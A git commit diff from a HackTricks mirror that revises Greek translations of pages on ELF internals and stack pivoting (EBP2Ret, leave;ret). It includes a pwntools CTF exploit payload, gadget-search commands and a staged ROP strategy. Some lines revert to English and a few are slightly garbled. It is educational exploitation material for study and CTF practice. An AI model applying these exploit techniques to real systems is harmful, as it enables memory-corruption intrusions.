mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
3e8386a47c
commit
16a9f57efa
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
@ -47,24 +47,24 @@ Segment Sections...
|
||||
|
||||
Υποδεικνύει τη διαδρομή του φορτωτή που θα χρησιμοποιηθεί για να φορτώσει το δυαδικό αρχείο στη μνήμη.
|
||||
|
||||
> Συμβουλή: Τα στατικά συνδεδεμένα ή στατικά-PIE δυαδικά αρχεία δεν θα έχουν είσοδο `INTERP`. Σε αυτές τις περιπτώσεις δεν εμπλέκεται δυναμικός φορτωτής, γεγονός που απενεργοποιεί τεχνικές που βασίζονται σε αυτόν (π.χ., `ret2dlresolve`).
|
||||
> Συμβουλή: Τα στατικά συνδεδεμένα ή static-PIE δυαδικά αρχεία δεν θα έχουν είσοδο `INTERP`. Σε αυτές τις περιπτώσεις δεν εμπλέκεται δυναμικός φορτωτής, γεγονός που απενεργοποιεί τεχνικές που βασίζονται σε αυτόν (π.χ., `ret2dlresolve`).
|
||||
|
||||
### LOAD
|
||||
|
||||
Αυτές οι επικεφαλίδες χρησιμοποιούνται για να υποδείξουν **πώς να φορτώσετε ένα δυαδικό αρχείο στη μνήμη.**\
|
||||
Κάθε επικεφαλίδα **LOAD** υποδεικνύει μια περιοχή **μνήμης** (μέγεθος, δικαιώματα και ευθυγράμμιση) και υποδεικνύει τα bytes του ELF **δυαδικού αρχείου που θα αντιγραφούν εκεί**.
|
||||
Κάθε **LOAD** επικεφαλίδα υποδεικνύει μια περιοχή **μνήμης** (μέγεθος, δικαιώματα και ευθυγράμμιση) και υποδεικνύει τα bytes του ELF **δυαδικού αρχείου που θα αντιγραφούν εκεί**.
|
||||
|
||||
Για παράδειγμα, η δεύτερη έχει μέγεθος 0x1190, θα πρέπει να βρίσκεται στη διεύθυνση 0x1fc48 με δικαιώματα ανάγνωσης και εγγραφής και θα γεμίσει με 0x528 από την απόσταση 0xfc48 (δεν γεμίζει όλο τον κρατημένο χώρο). Αυτή η μνήμη θα περιέχει τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
Αυτή η επικεφαλίδα βοηθά στη σύνδεση προγραμμάτων με τις βιβλιοθήκες τους και στην εφαρμογή ανακατατάξεων. Ελέγξτε το τμήμα **`.dynamic`**.
|
||||
Αυτή η επικεφαλίδα βοηθά στη σύνδεση προγραμμάτων με τις βιβλιοθήκες τους και στην εφαρμογή ανακατατάξεων. Ελέγξτε το **`.dynamic`** τμήμα.
|
||||
|
||||
### NOTE
|
||||
|
||||
Αυτό αποθηκεύει πληροφορίες μεταδεδομένων προμηθευτή σχετικά με το δυαδικό αρχείο.
|
||||
|
||||
- Στο x86-64, `readelf -n` θα δείξει τις σημαίες `GNU_PROPERTY_X86_FEATURE_1_*` μέσα στο `.note.gnu.property`. Αν δείτε `IBT` και/ή `SHSTK`, το δυαδικό αρχείο έχει κατασκευαστεί με CET (Παρακολούθηση Έμμεσων Κλάδων και/ή Σκιά Στοίβας). Αυτό επηρεάζει το ROP/JOP επειδή οι στόχοι έμμεσων κλάδων πρέπει να ξεκινούν με μια εντολή `ENDBR64` και οι επιστροφές ελέγχονται σε σχέση με μια σκιά στοίβας. Δείτε τη σελίδα CET για λεπτομέρειες και σημειώσεις παράκαμψης.
|
||||
- Στο x86-64, `readelf -n` θα δείξει τις σημαίες `GNU_PROPERTY_X86_FEATURE_1_*` μέσα στο `.note.gnu.property`. Αν δείτε `IBT` και/ή `SHSTK`, το δυαδικό αρχείο έχει κατασκευαστεί με CET (Indirect Branch Tracking και/ή Shadow Stack). Αυτό επηρεάζει το ROP/JOP επειδή οι στόχοι έμμεσων κλάδων πρέπει να ξεκινούν με μια εντολή `ENDBR64` και οι επιστροφές ελέγχονται σε σχέση με μια σκιά στοίβα. Δείτε τη σελίδα CET για λεπτομέρειες και σημειώσεις παράκαμψης.
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -86,7 +86,7 @@ Segment Sections...
|
||||
|
||||
Στο προηγούμενο παράδειγμα, αντιγράφει 0x3b8 bytes στη διεύθυνση 0x1fc48 ως μόνο για ανάγνωση επηρεάζοντας τα τμήματα `.init_array .fini_array .dynamic .got .data .bss`.
|
||||
|
||||
Σημειώστε ότι το RELRO μπορεί να είναι μερικό ή πλήρες, η μερική έκδοση δεν προστατεύει το τμήμα **`.plt.got`**, το οποίο χρησιμοποιείται για **τεμπέλη σύνδεση** και χρειάζεται αυτόν τον χώρο μνήμης για να έχει **δικαιώματα εγγραφής** για να γράψει τη διεύθυνση των βιβλιοθηκών την πρώτη φορά που αναζητείται η τοποθεσία τους.
|
||||
Σημειώστε ότι το RELRO μπορεί να είναι μερικό ή πλήρες, η μερική έκδοση δεν προστατεύει το τμήμα **`.plt.got`**, το οποίο χρησιμοποιείται για **lazy binding** και χρειάζεται αυτόν τον χώρο μνήμης να έχει **δικαιώματα εγγραφής** για να γράψει τη διεύθυνση των βιβλιοθηκών την πρώτη φορά που αναζητείται η τοποθεσία τους.
|
||||
|
||||
> Για τεχνικές εκμετάλλευσης και ενημερωμένες σημειώσεις παράκαμψης, ελέγξτε τη συγκεκριμένη σελίδα:
|
||||
|
||||
@ -161,26 +161,26 @@ CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
It also indicates the location, offset, permissions but also the **type of data** it section has.
|
||||
It also indicates the location, offset, permissions but also the **τύπος δεδομένων** it section has.
|
||||
|
||||
### Meta Sections
|
||||
|
||||
- **String table**: Περιέχει όλα τα strings που χρειάζεται το ELF αρχείο (αλλά όχι αυτά που χρησιμοποιούνται πραγματικά από το πρόγραμμα). Για παράδειγμα, περιέχει ονόματα τμημάτων όπως `.text` ή `.data`. Και αν το `.text` είναι στο offset 45 στον πίνακα strings, θα χρησιμοποιήσει τον αριθμό **45** στο πεδίο **name**.
|
||||
- Για να βρείτε πού είναι ο πίνακας strings, το ELF περιέχει έναν δείκτη στον πίνακα strings.
|
||||
- **Symbol table**: Περιέχει πληροφορίες για τα symbols όπως το όνομα (offset στον πίνακα strings), διεύθυνση, μέγεθος και περισσότερα μεταδεδομένα σχετικά με το symbol.
|
||||
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
|
||||
- In order to find where the string table is, the ELF contains a pointer to the string table.
|
||||
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
|
||||
|
||||
### Main Sections
|
||||
|
||||
- **`.text`**: Οι εντολές του προγράμματος που πρέπει να εκτελούνται.
|
||||
- **`.data`**: Παγκόσμιες μεταβλητές με καθορισμένη τιμή στο πρόγραμμα.
|
||||
- **`.bss`**: Παγκόσμιες μεταβλητές που έχουν μείνει μη αρχικοποιημένες (ή αρχικοποιημένες σε μηδέν). Οι μεταβλητές εδώ αρχικοποιούνται αυτόματα σε μηδέν, αποτρέποντας έτσι την προσθήκη άχρηστων μηδενικών στο δυαδικό.
|
||||
- **`.rodata`**: Σταθερές παγκόσμιες μεταβλητές (τμήμα μόνο για ανάγνωση).
|
||||
- **`.tdata`** και **`.tbss`**: Όπως οι .data και .bss όταν χρησιμοποιούνται μεταβλητές τοπικού νήματος (`__thread_local` σε C++ ή `__thread` σε C).
|
||||
- **`.dynamic`**: Δείτε παρακάτω.
|
||||
- **`.text`**: The instruction of the program to run.
|
||||
- **`.data`**: Global variables with a defined value in the program.
|
||||
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
|
||||
- **`.rodata`**: Constant global variables (read-only section).
|
||||
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
|
||||
- **`.dynamic`**: See below.
|
||||
|
||||
## Symbols
|
||||
|
||||
Symbols είναι μια ονομασμένη τοποθεσία στο πρόγραμμα που μπορεί να είναι μια συνάρτηση, ένα παγκόσμιο αντικείμενο δεδομένων, μεταβλητές τοπικού νήματος...
|
||||
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
@ -204,7 +204,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
Κάθε είσοδος συμβόλου περιέχει:
|
||||
|
||||
- **Όνομα**
|
||||
- **Δεσμευτικά χαρακτηριστικά** (ασθενές, τοπικό ή παγκόσμιο): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το ίδιο το πρόγραμμα, ενώ τα παγκόσμια σύμβολα μοιράζονται εκτός του προγράμματος. Ένα ασθενές αντικείμενο είναι για παράδειγμα μια συνάρτηση που μπορεί να παρακαμφθεί από μια διαφορετική.
|
||||
- **Δεσμευτικά χαρακτηριστικά** (weak, local ή global): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το πρόγραμμα αυτό, ενώ τα παγκόσμια σύμβολα μοιράζονται εκτός του προγράμματος. Ένα weak αντικείμενο είναι για παράδειγμα μια συνάρτηση που μπορεί να παρακαμφθεί από μια διαφορετική.
|
||||
- **Τύπος**: NOTYPE (κανένας τύπος καθορισμένος), OBJECT (παγκόσμια μεταβλητή δεδομένων), FUNC (συνάρτηση), SECTION (ενότητα), FILE (αρχείο πηγαίου κώδικα για αποσφαλμάτωση), TLS (μεταβλητή τοπικού νήματος), GNU_IFUNC (έμμεση συνάρτηση για ανακατανομή)
|
||||
- **Δείκτης Ενότητας** όπου βρίσκεται
|
||||
- **Τιμή** (διεύθυνση στη μνήμη)
|
||||
@ -212,7 +212,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
|
||||
#### GNU Symbol Versioning (dynsym/dynstr/gnu.version)
|
||||
|
||||
Η σύγχρονη glibc χρησιμοποιεί εκδόσεις συμβόλων. Θα δείτε καταχωρήσεις στα `.gnu.version` και `.gnu.version_r` και ονόματα συμβόλων όπως `strlen@GLIBC_2.17`. Ο δυναμικός συνδέτης μπορεί να απαιτεί μια συγκεκριμένη έκδοση κατά την επίλυση ενός συμβόλου. Όταν δημιουργείτε χειροκίνητες ανακατανομές (π.χ. ret2dlresolve) πρέπει να παρέχετε τον σωστό δείκτη έκδοσης, διαφορετικά η επίλυση αποτυγχάνει.
|
||||
Η σύγχρονη glibc χρησιμοποιεί εκδόσεις συμβόλων. Θα δείτε καταχωρήσεις στο `.gnu.version` και `.gnu.version_r` και ονόματα συμβόλων όπως `strlen@GLIBC_2.17`. Ο δυναμικός συνδέτης μπορεί να απαιτεί μια συγκεκριμένη έκδοση κατά την επίλυση ενός συμβόλου. Όταν δημιουργείτε χειροκίνητες ανακατανομές (π.χ. ret2dlresolve) πρέπει να παρέχετε τον σωστό δείκτη έκδοσης, αλλιώς η επίλυση αποτυγχάνει.
|
||||
|
||||
## Δυναμική Ενότητα
|
||||
```
|
||||
@ -356,21 +356,21 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
Η ενότητα PLT επιτρέπει την εκτέλεση καθυστερημένης σύνδεσης, που σημαίνει ότι η επίλυση της τοποθεσίας μιας συνάρτησης θα πραγματοποιηθεί την πρώτη φορά που θα προσπελαστεί.
|
||||
|
||||
Έτσι, όταν ένα πρόγραμμα καλεί το malloc, στην πραγματικότητα καλεί την αντίστοιχη τοποθεσία του `malloc` στον PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση του `malloc` και την αποθηκεύει, ώστε την επόμενη φορά που θα κληθεί το `malloc`, αυτή η διεύθυνση να χρησιμοποιείται αντί για τον κώδικα του PLT.
|
||||
Έτσι, όταν ένα πρόγραμμα καλεί τη malloc, στην πραγματικότητα καλεί την αντίστοιχη τοποθεσία του `malloc` στον PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση του `malloc` και την αποθηκεύει, ώστε την επόμενη φορά που θα κληθεί η `malloc`, αυτή η διεύθυνση να χρησιμοποιείται αντί για τον κώδικα του PLT.
|
||||
|
||||
#### Σύγχρονη συμπεριφορά σύνδεσης που επηρεάζει την εκμετάλλευση
|
||||
|
||||
- `-z now` (Πλήρης RELRO) απενεργοποιεί την καθυστερημένη σύνδεση; οι καταχωρήσεις PLT εξακολουθούν να υπάρχουν αλλά ο GOT/PLT είναι χαρτογραφημένος σε μόνο ανάγνωση, οπότε τεχνικές όπως **GOT overwrite** και **ret2dlresolve** δεν θα λειτουργήσουν κατά του κύριου δυαδικού (οι βιβλιοθήκες μπορεί να είναι ακόμα μερικώς RELRO). Δείτε:
|
||||
- `-z now` (Full RELRO) απενεργοποιεί την καθυστερημένη σύνδεση; οι καταχωρήσεις PLT εξακολουθούν να υπάρχουν αλλά ο GOT/PLT είναι χαρτογραφημένος σε μόνο ανάγνωση, οπότε τεχνικές όπως **GOT overwrite** και **ret2dlresolve** δεν θα λειτουργήσουν κατά του κύριου δυαδικού (οι βιβλιοθήκες μπορεί να είναι ακόμα μερικώς RELRO). Δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
- `-fno-plt` κάνει τον μεταγλωττιστή να καλεί εξωτερικές συναρτήσεις μέσω της **καταχώρησης GOT απευθείας** αντί να περνάει από το stub του PLT. Θα δείτε ακολουθίες κλήσεων όπως `mov reg, [got]; call reg` αντί για `call func@plt`. Αυτό μειώνει την κατάχρηση της υποθετικής εκτέλεσης και αλλάζει ελαφρώς την αναζήτηση gadget ROP γύρω από τα stubs του PLT.
|
||||
- `-fno-plt` κάνει τον μεταγλωττιστή να καλεί εξωτερικές συναρτήσεις μέσω της **καταχώρησης GOT απευθείας** αντί να περνά από το stub του PLT. Θα δείτε ακολουθίες κλήσεων όπως `mov reg, [got]; call reg` αντί για `call func@plt`. Αυτό μειώνει την κατάχρηση της υποθετικής εκτέλεσης και αλλάζει ελαφρώς την αναζήτηση ROP gadget γύρω από τα stubs του PLT.
|
||||
|
||||
- PIE vs static-PIE: Το PIE (ET_DYN με `INTERP`) χρειάζεται τον δυναμικό φορτωτή και υποστηρίζει τη συνήθη μηχανική PLT/GOT. Το Static-PIE (ET_DYN χωρίς `INTERP`) έχει μεταθέσεις που εφαρμόζονται από τον φορτωτή του πυρήνα και κανένα `ld.so`; αναμένετε καμία επίλυση PLT κατά την εκτέλεση.
|
||||
|
||||
> Αν το GOT/PLT δεν είναι επιλογή, στραφείτε σε άλλους γράψιμους δείκτες κώδικα ή χρησιμοποιήστε κλασικό ROP/SROP στο libc.
|
||||
> Αν το GOT/PLT δεν είναι επιλογή, μεταβείτε σε άλλους γράψιμους δείκτες κώδικα ή χρησιμοποιήστε κλασικό ROP/SROP στο libc.
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/aw2exec-got-plt.md
|
||||
@ -378,7 +378,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
|
||||
## Αρχικοποίηση Προγράμματος
|
||||
|
||||
Αφού το πρόγραμμα έχει φορτωθεί, είναι ώρα να τρέξει. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο:
|
||||
Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο:
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
@ -406,7 +406,7 @@ return 0;
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της `main` συνάρτησης, είναι δυνατόν να δημιουργηθεί μια `init` συνάρτηση και μια `fini` συνάρτηση που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF.
|
||||
Από την οπτική γωνία ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της `main` συνάρτησης, είναι δυνατόν να δημιουργηθεί μια `init` συνάρτηση και μια `fini` συνάρτηση που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF.
|
||||
|
||||
Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στην δυναμική ενότητα και το μήκος αυτών υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους.
|
||||
|
||||
@ -429,7 +429,7 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται.
|
||||
4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται.
|
||||
5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται.
|
||||
6. Αν είναι βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσετε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`).
|
||||
6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσετε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`).
|
||||
|
||||
## Αποθήκευση Τοπικών Νημάτων (TLS)
|
||||
|
||||
@ -439,15 +439,15 @@ __attributte__((destructor)) //Add to the destructor list
|
||||
|
||||
Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS.
|
||||
|
||||
Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που καθορίζει το μέγεθος και την απόσταση TLS, που είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
|
||||
Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος.
|
||||
|
||||
Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νήματος ενός module.
|
||||
Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module.
|
||||
|
||||
## Βοηθητικός Διανυσματικός (auxv) και vDSO
|
||||
|
||||
Ο πυρήνας του Linux περνά έναν βοηθητικό διανυσματικό σε διαδικασίες που περιέχει χρήσιμες διευθύνσεις και σημαίες για την εκτέλεση:
|
||||
|
||||
- `AT_RANDOM`: δείχνει σε 16 τυχαία bytes που χρησιμοποιούνται από την glibc για το stack canary και άλλους σπόρους PRNG.
|
||||
- `AT_RANDOM`: δείχνει σε 16 τυχαία bytes που χρησιμοποιούνται από τη glibc για το stack canary και άλλους σπόρους PRNG.
|
||||
- `AT_SYSINFO_EHDR`: βασική διεύθυνση της χαρτογράφησης vDSO (χρήσιμο για να βρείτε syscalls και gadgets `__kernel_*`).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, κ.λπ.
|
||||
|
||||
@ -464,10 +464,10 @@ printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
|
||||
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
|
||||
}
|
||||
```
|
||||
Leaking `AT_RANDOM` σας δίνει την τιμή του canary αν μπορείτε να αποδεσμεύσετε αυτόν τον δείκτη; `AT_SYSINFO_EHDR` σας δίνει μια βάση vDSO για να εξορύξετε gadgets ή για να καλέσετε γρήγορες syscalls απευθείας.
|
||||
Η διαρροή του `AT_RANDOM` σας δίνει την τιμή του canary αν μπορείτε να αποδεσμεύσετε εκείνο τον δείκτη; Το `AT_SYSINFO_EHDR` σας δίνει μια βάση vDSO για να εξορύξετε gadgets ή για να καλέσετε γρήγορες syscalls απευθείας.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
- ld.so(8) – Διάταξη αναζήτησης Dynamic Loader, RPATH/RUNPATH, κανόνες ασφαλούς εκτέλεσης (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
|
||||
- getauxval(3) – Auxiliary vector και AT_* σταθερές: https://man7.org/linux/man-pages/man3/getauxval.3.html
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών **`leave; ret`**.
|
||||
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του δείκτη πλαισίου και της ακολουθίας εντολών **`leave; ret`**.
|
||||
|
||||
Ως υπενθύμιση, στο x86/x86-64 **`leave`** είναι ισοδύναμο με:
|
||||
```
|
||||
@ -22,9 +22,9 @@ ret
|
||||
|
||||
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP**. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης.
|
||||
|
||||
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που αποθηκεύεται από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση.
|
||||
Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση.
|
||||
|
||||
Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που αποθηκεύεται σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`.
|
||||
Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που είναι αποθηκευμένη σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`.
|
||||
|
||||
#### Κατασκευή Εκμετάλλευσης
|
||||
|
||||
@ -60,7 +60,7 @@ ret
|
||||
|
||||
Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε περιθωριακές περιπτώσεις.
|
||||
|
||||
Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
|
||||
Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -124,7 +124,7 @@ add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραλειφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot.
|
||||
On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραληφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot.
|
||||
|
||||
## Άλλοι τρόποι ελέγχου του RSP
|
||||
|
||||
@ -188,7 +188,7 @@ xchg <reg>, rsp
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
### Εύρεση gadgets pivot γρήγορα
|
||||
### Γρήγορη εύρεση gadgets pivot
|
||||
|
||||
Χρησιμοποιήστε τον αγαπημένο σας ανιχνευτή gadgets για να αναζητήσετε κλασικές πρωτογενείς pivot:
|
||||
|
||||
@ -210,7 +210,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
|
||||
Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits:
|
||||
|
||||
1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγγράψιμη περιοχή (π.χ., `.bss`, heap ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP.
|
||||
1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγ writable περιοχή (π.χ., `.bss`, heap, ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP.
|
||||
2) Επιστρέψτε σε ένα gadget pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) για να μετακινήσετε το RSP σε αυτήν την περιοχή.
|
||||
3) Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε `mprotect`, στη συνέχεια `read` shellcode, στη συνέχεια πηδήξτε σε αυτό).
|
||||
|
||||
@ -218,7 +218,7 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
|
||||
Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το **CET Shadow Stack (SHSTK)**. Με το SHSTK ενεργοποιημένο, το `ret` συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο `ret` από μια pivoted stack.
|
||||
|
||||
